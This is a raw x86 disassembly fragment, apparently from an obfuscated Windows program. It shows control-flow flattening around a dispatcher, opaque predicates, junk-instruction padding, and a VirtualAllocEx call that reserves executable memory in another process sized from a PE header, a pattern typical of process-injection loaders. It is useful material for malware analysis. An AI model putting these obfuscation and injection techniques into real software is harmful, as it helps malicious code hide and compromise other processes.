mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x60]
mov ecx, dword [ecx]
mov dword [ecx + 0x18], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x60]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x34]
add eax, 0x24
mov dword [ecx], eax
bswap eax
imul ebx
dec ebx
bswap edx
neg edx
rcr eax, 0x80
neg ebx
or edx, 0x6c
add edi, 0xd2
imul eax
neg esi
inc ebx
imul eax
bswap edx
and ebx, 0x59
mov ebx, 0xfd
sub edi, 0x8d
and ebx, 0x6c
dec edx
inc eax
inc ebx
add edx, 0xc3
inc edx
bswap esi
rcr esi, 0xbb
neg ebx
neg edi
ror eax, 0xd
sbb eax, 0x18
sbb edx, 0xe4
rcr ebx, 0x4a
rcl edx, 0xba
not edx
or esi, 0xb9
not esi
and edx, 0x58
dec edi
inc esi
bswap eax
imul eax
sbb ebx, 0xee
and edx, 0x46
neg ebx
neg esi
add eax, 0x58
dec esi
neg edi
sbb edi, 0xa8
rcr esi, 0xde
add edx, 0xbc
or eax, 0x8c
dec edx
add eax, 0x18
sub edi, 0xc9
sub edx, 0x31
not edx
bswap edx
not edx
bswap edx
imul edi
not edi
rol ebx, 0x4e
imul edx
dec edx
and ebx, 0x82
rcl edx, 0x59
rcl eax, 0x4e
neg edi
mov edx, 0x99
neg edi
mov ebx, 0x81
imul edi
rcl edi, 0x7a
sub eax, 0x1e
neg ebx
rcl edi, 0xc9
bswap edi
inc eax
sub edx, 0x1a
imul edx
bswap eax
not edx
sub ebx, 0xe4
imul eax
and edi, 0xa6
neg ebx
not edi
neg esi
inc edi
not ebx
rol esi, 0xa1
dec edi
bswap ebx
not edi
inc eax
imul ebx
ror eax, 0x9b
sub edx, 0xd3
imul eax
add edi, 0xe2
sbb eax, 0x80
neg edx
ror esi, 0xc8
inc eax
ror edx, 0x68
bswap eax
sbb eax, 0x7a
inc edx
sub esi, 4
or ebx, 0x34
and edx, 0xc7
add esi, 3
bswap ebx
not esi
dec eax
rcl edi, 0xc8
not edi
rcl esi, 0xa7
dec edi
imul esi
and edx, 0xa3
not edx
sbb esi, 9
dec edi
or edi, 0xef
inc ebx
rcr eax, 0x20
not edi
bswap ebx
bswap edx
sub ebx, 0x25
not esi
rol eax, 0x88
rcr eax, 0x79
and eax, 0x86
or edx, 0xd4
dec esi
inc ebx
dec ebx
dec eax
not ebx
ror ebx, 0x57
rcr edx, 0xa8
bswap esi
and ebx, 0x7f
mov ebx, 0x3a
imul edx
sbb eax, 0xa8
mov edi, 0x53
or edx, 0xed
mov edx, dword [ebp - 0x1c]
mov dword [edx], eax
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x64]
vmovups ymmword [eax + 0x20], ymm1
vmovups ymm1, ymmword [0x4401e8]
vmovups ymmword [eax + 0x40], ymm2
vmovups ymmword [eax], ymm0
vmovups ymmword [eax + 0x58], ymm1
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x18]
mov eax, 0xf4ada4d1
jmp 0x4021f0
mov eax, dword [ebp - 0x74]
mov dword [eax], 2
mov eax, 0xe65e1f72
jmp 0x4021f0
mov eax, dword [ebp - 0x138]
mov eax, 0x250d2663
jmp 0x4021f0
mov dword [ebp - 0xf0], 0
mov eax, 0x42ccbbd3
jmp 0x4021f0
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x14cded73
and ecx, 0xeb32128c
or eax, ecx
mov ecx, eax
xor ecx, 0x14804543
xor eax, 0x2b120200
and eax, 0x2b5faa30
and ecx, 0xd4a055cf
or ecx, eax
mov esi, ecx
xor esi, 0xd4a055cf
mov edx, ecx
xor edx, 0x9468000
and ecx, 1
mov eax, esi
and esi, 0xfffffffe
or eax, 1
and edx, 0x9dc68082
or ecx, esi
mov esi, eax
and esi, 0x62397f7c
or edx, esi
mov esi, ecx
not esi
and ecx, 0x9dc68083
or eax, esi
and esi, 0x62397f7c
or ecx, esi
not eax
mov esi, 0x50beef38
xor ecx, edx
or eax, ecx
mov edx, eax
xor edx, 0x250cf609
mov ecx, eax
and ecx, 0xe200
and edx, eax
not eax
and eax, 0x250c1409
or ecx, eax
xor ecx, 0xe200
or ecx, edx
not edx
and edx, 0xdaf309f6
and ecx, 0x250cf609
or ecx, edx
setne dl
cmp dword [0x493580], 0xa
setge al
mov ecx, eax
or al, dl
xor cl, dl
xor al, 1
or al, cl
mov ah, cl
xor al, 1
xor ah, 1
or al, cl
xor cl, al
or al, ah
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0x9cefb903
cmovne ecx, esi
test al, 1
not dl
mov eax, 0x9cefb903
jmp 0x4021da
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0xb0]
mov dword [eax], 0
mov eax, 0xa45172ae
jmp 0x4021f0
mov eax, 0x2151bc05
jmp 0x4021f0
mov eax, dword [0x493584]
mov edi, 0x988c9624
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xee116305
and eax, 0x11ee9cfa
or ecx, eax
mov eax, ecx
xor eax, 0x86002105
xor ecx, 0xaa1c40
and ecx, 0x68bb5e40
and eax, 0x9744a1bf
or eax, ecx
mov edx, eax
mov ecx, eax
xor eax, 0x604a1aa
xor edx, 0x68bb5e40
xor ecx, 0x68bb5e41
and ecx, edx
and eax, 0xe9fa3aa
and edx, 0xf1605c55
or edx, eax
mov eax, ecx
not eax
and ecx, 0xe782357f
mov esi, eax
and esi, 0x187dca80
or ecx, esi
mov esi, edx
xor esi, 0xe1001454
xor edx, 0xe9fa3ab
or eax, edx
and edx, 0x187dca80
and esi, 0xe782357f
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov esi, 0x3f2499a0
mov edx, eax
andn ecx, eax, eax
not eax
and edx, 0x47c19a1d
and eax, 0xb83e65e2
or edx, eax
xor edx, 0x47c19a1d
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x7c447b0b
mov edx, eax
and edx, 0x83bb84f4
or ecx, edx
xor ecx, 0x83bb84f4
xor eax, ecx
test eax, ecx
sete cl
setne ch
cmp dword [0x493580], 0xa
setl ah
setge dl
mov al, ah
mov dh, dl
or dl, ch
xor cl, ah
xor al, ch
xor dh, ch
or ch, ah
xor dl, 1
not al
or dl, cl
xor dh, 1
and al, ah
mov cl, dh
or dh, dl
xor al, 1
xor cl, dl
xor dh, 1
mov ebx, eax
or al, ch
or dh, cl
xor bl, ch
xor al, 1
or al, bl
xor al, 1
mov ecx, eax
xor al, dh
or cl, dh
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x988c9624
cmovne edx, esi
test al, 1
mov eax, edx
cmovne eax, edi
jmp 0x412d42
mov eax, 0x53f2c146
jmp 0x4021f0
mov eax, dword [ebp - 0xc4]
mov ecx, dword [ebp - 0xfc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc4]
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
not esi
mov edx, eax
and edx, 0xf1103606
mov ecx, esi
and ecx, 0xeefc9f8
and esi, 0x35edd2d
or edx, ecx
mov ecx, eax
xor ecx, 0xfffffffe
and ecx, eax
xor edx, 0xf1103606
and eax, 0xfca122d2
or ecx, edx
or eax, esi
mov edx, ecx
not edx
mov esi, ecx
and esi, 0xf3fb2a24
and edx, 0xc04d5db
or edx, esi
mov esi, eax
xor esi, 0xc0000d2
xor eax, 0x35edd2d
or ecx, eax
and eax, 0xf3fb2a24
and esi, 0xc04d5db
or esi, eax
not ecx
xor esi, edx
or ecx, esi
mov esi, 0xf068f018
xor ecx, 0xffffffff
setne dl
sete ah
cmp dword [0x493580], 0xa
setl cl
setge al
and ah, al
and cl, dl
or cl, ah
mov ah, al
or al, dl
xor ah, dl
xor al, 1
mov edx, ecx
or al, ah
xor al, 1
or al, ah
xor al, 1
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xeaa85436
cmovne eax, esi
test dl, 1
mov edx, 0xeaa85436
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x4021f0
mov eax, 0xc0d68315
jmp 0x4021f0
mov eax, 0x626086de
jmp 0x4021f0
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
xor esi, 0xceb7f176
mov edx, eax
not edx
and esi, eax
mov ebx, edx
and ebx, 0xc8214140
and edx, 0x2f040b0
mov ecx, esi
not ecx
and esi, 0xe9294d41
mov edi, ecx
and edi, 0x16d6b2be
or esi, edi
mov edi, eax
or edi, 0x31480e89
or ecx, edi
and edi, 0x16d6b2be
or ebx, edi
not ecx
xor ebx, esi
or ecx, ebx
mov ebx, eax
and ebx, 0xfd0fbf4f
and eax, 1
mov esi, ecx
not esi
or ebx, edx
and ecx, 0x31480e88
and esi, 0xceb7f177
mov edx, ebx
xor edx, 0x2f040b1
xor ebx, 0xac042b44
or ecx, esi
or eax, edx
and ebx, 0xacf42bc4
mov edx, ecx
not edx
and ecx, 0xacf42bc4
mov edi, edx
or edx, eax
and edi, 0x530bd43b
and eax, 0x530bd43b
or ecx, edi
or ebx, eax
not edx
xor ebx, ecx
or edx, ebx
mov eax, edx
not eax
and edx, 0x3d0e26ca
and eax, 0xc2f1d935
or edx, eax
xor edx, 0x3d0e26ca
setne al
sete cl
cmp dword [0x493580], 0xa
setge ah
setl dl
mov ch, ah
and al, dl
xor dl, cl
xor ch, cl
and cl, ah
or al, cl
and ch, ah
mov ah, al
or dl, ch
mov ch, al
xor ah, 1
mov cl, dl
and ch, ah
xor cl, 1
xor ch, 1
or ch, ah
mov ah, cl
and ah, dl
xor ch, 1
xor ah, 1
or ch, al
or ah, dl
mov edx, eax
xor ah, 1
xor dl, cl
or ah, cl
or cl, al
xor cl, 1
xor ah, ch
or cl, dl
mov edx, 0x6adba945
mov al, cl
xor al, ah
test cl, 1
mov ecx, 0x910d441a
cmovne ecx, edx
test ah, 1
cmove ecx, edx
test al, 1
mov eax, 0x910d441a
jmp 0x4021e0
mov eax, dword [ebp - 0x48]
mov eax, dword [eax]
mov dword [ebp - 0x1b8], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
add eax, 4
mov dword [ebp - 0x1bc], eax
mov eax, 0x3c32c8a6
jmp 0x4021f0
mov eax, dword [ebp - 0xc4]
mov ecx, dword [ebp - 0xfc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc4]
mov eax, 0x5b7a1189
jmp 0x4021f0
mov eax, 0x8ec75e60
jmp 0x4021f0
mov eax, dword [ebp - 0x30]
mov eax, 0x37c92bb2
jmp 0x4021f0
mov eax, 0xb045b57f
jmp 0x4021f0
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x48]
inc eax
mov dword [ecx], eax
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
mov ecx, eax
xor ecx, 0xa8a64825
not esi
mov edx, esi
and ecx, eax
and edx, 0xa8a64825
and esi, 0x3b38d68a
and eax, 0xc4c72975
or ecx, edx
or eax, esi
mov edx, ecx
not edx
and ecx, 0xafd61e
and edx, 0xff5029e1
or ecx, edx
mov edx, ecx
xor edx, 0x2800900a
xor ecx, 0x57f661c5
mov esi, ecx
and esi, 0xc4cf6e71
and edx, 0x3b30918e
or edx, esi
mov esi, eax
xor esi, 0x104
xor eax, 0x84600
and eax, 0xc4cf6e71
and esi, 0x3b30918e
or esi, eax
xor esi, edx
not esi
or esi, ecx
cmp esi, 0xffffffff
mov esi, 0xd797abb0
sete dl
cmp dword [0x493580], 0xa
mov eax, edx
setl cl
xor al, cl
or cl, dl
mov ah, al
xor ah, 1
mov dl, ah
xor dl, cl
or cl, ah
xor cl, 1
or cl, dl
xor cl, al
and al, cl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x3a18a352
cmovne edx, esi
test cl, 1
mov ecx, 0x3a18a352
cmovne ecx, edx
test al, al
jmp 0x411a48
mov eax, dword [ebp - 0x20]
mov eax, 0xfbeda4b2
jmp 0x4021f0
rcl eax, 0x55
add edx, 0x46
rol edi, 0x47
neg esi
rol edx, 0x60
mov ebx, 0xb1
imul ebx
neg esi
neg edi
rcr edi, 0x25
sbb edi, 0x63
not ebx
or edx, 0x21
imul ebx
not esi
rcl eax, 0x16
sub ebx, 0x20
rol edi, 0x64
or eax, 0x88
inc edx
rcl esi, 0xfd
rol ebx, 0xee
add eax, 0x50
dec edi
bswap edi
dec edx
mov esi, 0x67
bswap edx
neg ebx
sbb edx, 1
inc edi
and edx, 0xcb
inc edx
neg esi
bswap edi
ror edi, 0xf6
add edx, 0x63
neg edi
dec edi
rcl edi, 0x3d
not edi
neg esi
rol edx, 0xe7
inc esi
rcr edx, 0x4b
mov eax, 0x43
add edx, 0xe2
dec ebx
ror edi, 0xd3
dec eax
add edx, 0
sub edi, 0xe4
not edi
add edx, 0x10
bswap esi
imul edi
bswap esi
ror edi, 0xdd
ror edx, 0xb8
not edi
dec ebx
imul ebx
not edi
dec eax
imul edi
or eax, 6
inc edi
rcr esi, 0xdd
inc ebx
neg esi
rcl ebx, 0x53
inc edi
dec edi
sbb eax, 0x93
and esi, 0xd6
neg edi
rcr eax, 0x49
dec ebx
dec esi
add ebx, 8
ror ebx, 0xae
inc edx
sub edi, 0xba
rcl edi, 0xb7
add eax, 0x2e
bswap esi
neg ebx
inc edi
rol ebx, 0x91
bswap eax
bswap edi
neg esi
sub ebx, 0xba
rcl eax, 0x19
dec edi
ror edi, 3
sub edi, 0x40
not ebx
rcl edi, 0xae
not ebx
sbb ebx, 0xcb
rcl edx, 0xb5
imul edi
and ebx, 0x87
sbb edi, 0x95
inc ebx
inc edi
sbb eax, 0x98
rol edx, 0x83
bswap esi
bswap esi
mov ebx, 0x85
mov edx, 0
and ebx, 0x88
mov eax, 0xae
mov edx, 0xa9
not ebx
or esi, 0x43
dec edi
dec eax
or edi, 0x6e
inc edi
mov edi, 0x88
not esi
and edi, 0x19
imul edx
and edi, 0x2e
dec edi
ror esi, 0x9d
dec edi
not eax
mov ebx, 0x95
mov esi, 0x8d
ror edx, 0x83
rcr edi, 0x67
dec esi
inc eax
not edx
not edi
rcl esi, 0x67
add ebx, 0x31
neg edi
inc edx
sub edi, 0x5c
neg esi
ror edx, 0x76
sub edx, 0x4b
sbb eax, 0x15
bswap ebx
sub edx, 0x84
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0
mov eax, dword [ebp - 0x24]
mov dword [eax], 1
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0xdc]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x94]
mov eax, dword [ebp - 0x90]
mov eax, 0xb256425d
jmp 0x4021f0
mov eax, dword [0x493584]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0x8001e049
mov edx, eax
and edx, 0x11b61822
and eax, 0xd3228e53
or esi, edx
mov edx, ecx
and edx, 0x6e480794
and ecx, 0x2cdd71ac
xor esi, 0x8001e049
or eax, ecx
or edx, esi
mov esi, edx
not esi
and edx, 0x91b7f86a
and esi, 0x6e480795
or edx, esi
mov esi, edx
not esi
and edx, 0xd3228e53
mov edi, esi
and edi, 0x2cdd71ac
or edx, edi
xor eax, edx
xor esi, eax
test esi, eax
mov esi, 0xa8ff4f9f
sete cl
cmp dword [0x493580], 0xa
setge al
setl dl
mov ah, al
xor ah, cl
xor ah, 1
or al, ah
and ah, cl
xor cl, dl
and cl, dl
or cl, ah
mov edx, ecx
mov ah, cl
and ah, al
xor dl, 1
xor al, 1
and dl, al
or dl, ah
mov ah, al
or al, cl
xor ah, cl
xor al, 1
or al, ah
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xdd433204
cmovne eax, esi
test dl, dl
not cl
mov edx, 0xdd433204
cmove eax, esi
test cl, 1
cmovne eax, edx
jmp 0x4021f0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c]
add eax, dword [ecx]
mov ecx, dword [ebp - 0x3c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov dword [eax], 0
mov eax, 0x6ce5d311
jmp 0x4021f0
mov eax, 0x242b47b8
jmp 0x4021f0
mov ecx, dword [0x493584]
mov esi, 0x3904288e
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x796cbb0e
and ecx, 0x869344f1
or eax, ecx
mov ecx, eax
xor ecx, 0x58048b06
xor eax, 0x20140c0
and eax, 0x236970c8
and ecx, 0xdc968f37
or ecx, eax
mov eax, ecx
xor ecx, 0xdc968f36
xor eax, 0x236970c8
mov edx, eax
and ecx, 0xfffffffe
and eax, 1
and edx, 0xfffffffe
or eax, ecx
or eax, edx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xa46f87cb
and ecx, 0x5b907834
or ecx, edx
xor ecx, 0x5b907834
or ecx, eax
xor ecx, 0xffffffff
sete ah
setne ch
cmp dword [0x493580], 0xa
setge al
setl dh
and ah, al
and dh, ch
mov dl, al
and al, ch
or dh, ah
xor dl, ch
or al, dh
mov ecx, edx
mov ah, al
xor cl, 1
not ah
and ah, cl
or cl, al
and al, dl
or al, ah
mov edx, ecx
xor dl, al
mov edx, 0x840ad53a
cmovne edx, esi
test al, al
mov esi, 0x840ad53a
jmp 0x40c34e
mov eax, dword [0x493584]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0xc5875d52
and ecx, 0xceaa3e6a
mov esi, eax
and esi, 0x3a78a2ad
and eax, 0x3155c195
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0x49f93e61
and esi, 0xb606c19e
or edx, esi
mov esi, edx
xor esi, 0x31018085
xor edx, 0x8c7e6332
mov edi, edx
and edi, 0xceaa3e6a
and esi, 0x3155c195
or esi, edi
xor eax, esi
mov esi, 0x505e82b8
xor edx, eax
test edx, eax
setne ah
sete ch
cmp dword [0x493580], 0xa
setl dl
setge cl
mov al, dl
or dl, ch
and ch, cl
xor cl, ah
xor cl, 1
and al, ah
mov ah, cl
or cl, dl
or al, ch
xor ah, dl
xor cl, 1
xor al, 1
or cl, ah
mov edx, ecx
xor dl, al
or al, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x8c94c5af
cmovne ecx, esi
test al, 1
mov eax, 0x8c94c5af
jmp 0x412f61
mov eax, dword [ebp - 0x128]
mov ecx, dword [ebp - 0x12c]
lea ecx, [ecx + ecx*4]
lea eax, [eax + ecx*4 + 0xc]
mov dword [ebp - 0x198], eax
mov eax, dword [0x493584]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0x7cd82380
mov eax, edx
and eax, 0x10002300
and ecx, edx
not edx
and edx, 0x6cd80080
mov esi, ecx
not esi
and ecx, 0xaf174882
or eax, edx
mov edx, eax
xor edx, 0xefffdcff
and eax, 0x2c100080
mov edi, edx
or edx, esi
and edi, 0x50e8b77d
and esi, 0x50e8b77d
or eax, edi
or ecx, esi
not edx
xor ecx, eax
or edx, ecx
mov eax, edx
not eax
and edx, 0x7cd82380
and eax, 0x8327dc7f
or edx, eax
mov edi, edx
not edi
mov esi, edx
and esi, 0x3811f368
and edx, 0x42b0958c
mov eax, edi
and eax, 0xc7ee0c97
or edi, 0x94410a21
or esi, eax
mov ecx, esi
mov ebx, esi
xor ecx, 0x3811f368
xor ebx, 0x53af06b6
xor esi, 0x4460413
and ebx, ecx
and esi, 0x1457f75b
mov eax, ebx
not eax
and ebx, 0x46b09fad
mov dword [ebp - 0x6c], eax
and dword [ebp - 0x6c], 0xb94f6052
or eax, edi
and edi, 0xb94f6052
add ebx, dword [ebp - 0x6c]
or edx, edi
not eax
mov edi, ecx
and edi, 0xeba808a4
and ecx, 1
or edi, esi
mov esi, edi
xor esi, 0x1457f75a
xor edi, 0xaa808a0
or ecx, esi
and edi, 0xeacf8f2
xor edx, ebx
or eax, edx
mov edx, eax
not edx
and eax, 0x547834a0
and edx, 0xab87cb5f
or eax, edx
mov edx, eax
xor edx, 0x283880
xor eax, 0x3fc6c17f
mov esi, eax
or eax, ecx
and ecx, 0xf153070d
and esi, 0xf153070d
and edx, 0xeacf8f2
or edx, esi
or edi, ecx
not eax
xor edi, edx
or eax, edi
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x13074009
and eax, 0xc89402
mov edx, ecx
or edx, 0x4202810
and esi, 0x17276819
and ecx, 0xe81003e4
and edx, 0x17276819
or ecx, esi
mov esi, 0xf86b5ce9
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0xa167a1b2
and ecx, 0x5e985e4d
or eax, ecx
mov ecx, eax
xor ecx, 0x4130806
xor eax, 0x2807129
and eax, 0x4bc4f369
and ecx, 0xb43b0c96
or ecx, eax
mov eax, ecx
xor eax, 0x90300004
xor ecx, 0x1402309
and ecx, 0x254b2f9b
and eax, 0xdab4d064
or eax, ecx
xor eax, 0xdab4d064
setne cl
sete ah
cmp dword [0x493580], 0xa
setl ch
mov dl, ch
or cl, ch
xor dl, ah
mov al, dl
and dl, ch
xor al, 1
xor dl, 1
and al, ah
mov ah, cl
xor ah, dl
or dl, cl
xor dl, 1
or dl, ah
mov ah, dl
mov ch, dl
xor ah, 1
mov cl, ah
and cl, dl
xor cl, 1
xor ch, cl
or cl, dl
xor cl, 1
or cl, ch
mov edx, ecx
xor cl, 1
and dl, al
xor al, 1
and cl, al
or al, ah
or cl, dl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x6e4dd87d
cmovne edx, esi
test al, 1
mov eax, 0x6e4dd87d
jmp 0x41212f
mov eax, 0x5e8a05c2
jmp 0x4021f0
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x4c]
mov eax, 0x80c076de
jmp 0x4021f0
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x68e18264
and eax, 0x810c0d88
mov edx, ecx
and edx, 0x14022000
or ecx, 0x8e38000
or esi, edx
and ecx, 0xaf3d013
mov edx, esi
xor edx, 0x60000264
xor esi, 0x2125013
or eax, ecx
and esi, 0xaf3d013
and edx, 0x74002264
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x7ce3a264
and ecx, 0x831c5d9b
or eax, ecx
mov edx, eax
xor edx, 0xafc2b0c6
mov ecx, eax
and ecx, 0x4fd8c0cd
and edx, eax
not eax
and eax, 0xb0273f32
or ecx, eax
mov eax, ecx
xor eax, 0x4fd8c0cd
xor ecx, 0x80233900
mov esi, eax
and esi, 0xafc2b0c6
or eax, 1
and ecx, 0xccebb944
or edx, esi
and eax, 0x331446bb
mov esi, edx
not esi
and edx, 0x39927862
or eax, ecx
and esi, 0xc66d879d
xor eax, 0x331446bb
or edx, esi
xor edx, 0x9650c8a5
or eax, edx
mov ecx, eax
andn edx, eax, eax
not eax
and ecx, 0xbd6ecf11
and eax, 0x429130ee
mov edi, edx
not edi
and edx, 0xf38ca45e
or ecx, eax
mov eax, ecx
xor eax, 0xb10c8410
xor ecx, 0x429130ee
mov esi, ecx
or ecx, edi
and edi, 0xc735ba1
and esi, 0xc735ba1
and eax, 0xf38ca45e
or eax, esi
or edx, edi
not ecx
xor edx, eax
or ecx, edx
sete dl
setne ch
cmp dword [0x493580], 0xa
setge al
setl ah
mov cl, al
xor al, ch
or ch, ah
or ah, dl
xor al, 1
or cl, dl
xor ch, 1
mov edx, eax
or al, ah
xor cl, 1
xor dl, ah
xor al, 1
or cl, ch
or al, dl
mov edx, eax
mov ch, al
xor dl, 1
and ch, dl
mov ah, dl
xor ch, 1
xor ah, ch
or ch, dl
or dl, cl
xor ch, 1
xor dl, 1
or ch, ah
mov ah, ch
xor ch, 1
and ah, cl
xor cl, 1
and ch, cl
xor cl, al
or dl, cl
or ch, ah
mov eax, 0x6ce5d311
mov cl, dl
xor cl, ch
test dl, 1
mov edx, 0xea30c9b1
cmovne eax, edx
test ch, 1
cmove eax, edx
test cl, 1
mov edx, 0x6ce5d311
cmove eax, edx
jmp 0x4021f0
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
or ecx, 0x800101
mov esi, edx
mov edi, edx
or esi, 0x98208082
and ecx, 0x98a08183
and edi, 0x45152e40
and edx, 0xe47a349a
or edi, ecx
mov ecx, eax
and esi, 0x98a08183
and ecx, 0x224a503c
and eax, 0x1b85cb65
or ecx, esi
or eax, edx
xor ecx, edi
mov esi, ecx
not esi
and ecx, 0xdd35aec3
and esi, 0x22ca513c
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x8a4f6861
and esi, 0x75b0979e
or ecx, esi
mov esi, ecx
xor esi, 0x824b6020
xor ecx, 0x75b0979e
mov edx, ecx
and edx, 0x1db41a55
and esi, 0xe24be5aa
or esi, edx
mov edx, eax
xor edx, 0x201c120
xor eax, 0xe47a349a
or ecx, eax
and eax, 0x1db41a55
and edx, 0xe24be5aa
or edx, eax
not ecx
xor edx, esi
mov esi, 0xa4f4862d
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xbb87fd69
and eax, 0x44780296
or ecx, eax
xor ecx, 0xbb87fd69
sete al
setne cl
cmp dword [0x493580], 0xa
setge dl
setl ah
and al, dl
and ah, cl
or dl, cl
or al, ah
xor al, 1
mov ecx, eax
xor al, dl
or cl, dl
mov edx, ecx
xor dl, al
mov edx, 0x7bd48040
cmovne edx, esi
test al, al
mov esi, 0x7bd48040
jmp 0x40c34e
mov eax, 0x4e3424a2
jmp 0x4021f0
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
xor esi, 0x85da9e4b
andn edx, eax, esi
and esi, eax
mov ecx, esi
mov ebx, edx
not ecx
not ebx
and esi, 0xe586a944
and edx, 0xe586a944
mov edi, ecx
or ecx, ebx
and edi, 0x1a7956bb
and ebx, 0x1a7956bb
or esi, edi
or edx, ebx
not ecx
xor edx, esi
mov esi, eax
not esi
or eax, 1
or ecx, edx
and esi, 0x8e877c32
and eax, 0x717883cd
mov edx, ecx
not edx
or eax, esi
and ecx, 0x7a2561b5
and edx, 0x85da9e4a
xor eax, 0x717883cd
or ecx, edx
or eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x5bb7f8cb
and eax, 0x7a922802
mov edx, ecx
and edx, 0xa4480734
or ecx, 0x1248421
or esi, edx
and ecx, 0x525c4b1
mov edx, esi
xor esi, 0x420
xor edx, 0x1048
or eax, ecx
or esi, 0x4014090
and edx, 0x8048134c
and esi, 0x525c4b1
or edx, esi
mov esi, 0xd000c93
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x816c976d
and ecx, 0x7e936892
or eax, ecx
setne dl
sete ah
cmp dword [0x493580], 0xa
setl cl
setge al
and ah, al
and cl, dl
or cl, ah
mov ah, al
or al, dl
xor ah, dl
xor al, 1
mov edx, ecx
or al, ah
xor dl, 1
mov ah, dl
or dl, al
xor ah, al
not dl
or dl, ah
mov eax, 0x5bbd43f9
xor dl, cl
and dl, 1
cmovne eax, esi
test dl, cl
mov ecx, 0x5bbd43f9
cmove eax, esi
jmp 0x413940
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x90]
push 0x40
push 0x3000
push dword [eax + 0x50]
push 0
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0xfc], eax
mov eax, dword [0x493584]
mov esi, 0xa4f4862d
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
andn eax, ecx, ecx
not ecx
and edx, 0xed472de5
and ecx, 0x12b8d21a
or edx, ecx
xor edx, 0xed472de5
or eax, edx
mov ecx, eax
not ecx
mov edx, eax
and eax, 1
and edx, 0xfffffffe
and ecx, 0xfffffffe
or eax, ecx
or eax, edx
mov edx, eax
andn ecx, eax, eax
not eax
and edx, 0x70a264b2
and eax, 0x8f5d9b4d
or edx, eax
xor edx, 0x70a264b2
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x248be0a6
mov edx, eax
and edx, 0xdb741f59
or ecx, edx
xor ecx, 0xdb741f59
xor eax, ecx
test eax, ecx
sete ah
setne ch
cmp dword [0x493580], 0xa
setl al
setge dl
mov cl, al
and al, ch
or cl, ah
and ah, dl
xor dl, ch
xor cl, 1
or al, ah
or cl, dl
mov ah, al
mov edx, ecx
xor ah, 1
and al, cl
not dl
and dl, ah
or ah, cl
mov ecx, 0xaa035621
or dl, al
mov al, ah
xor al, dl
test al, 1
cmovne ecx, esi
test ah, ah
mov eax, 0xaa035621
jmp 0x413940
mov eax, dword [0x493584]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0x9e0f5a3
mov eax, ecx
and eax, 0x80a023
and edx, ecx
not ecx
and ecx, 0x9605580
or eax, ecx
xor eax, 0x80a023
or eax, edx
not edx
and edx, 0xf61f0a5c
and eax, 0x9e0f5a3
or eax, edx
mov esi, eax
not esi
mov edx, eax
and edx, 0xa6abbb33
and eax, 0xc65623a0
mov ecx, esi
and esi, 0x595444cc
or ecx, 1
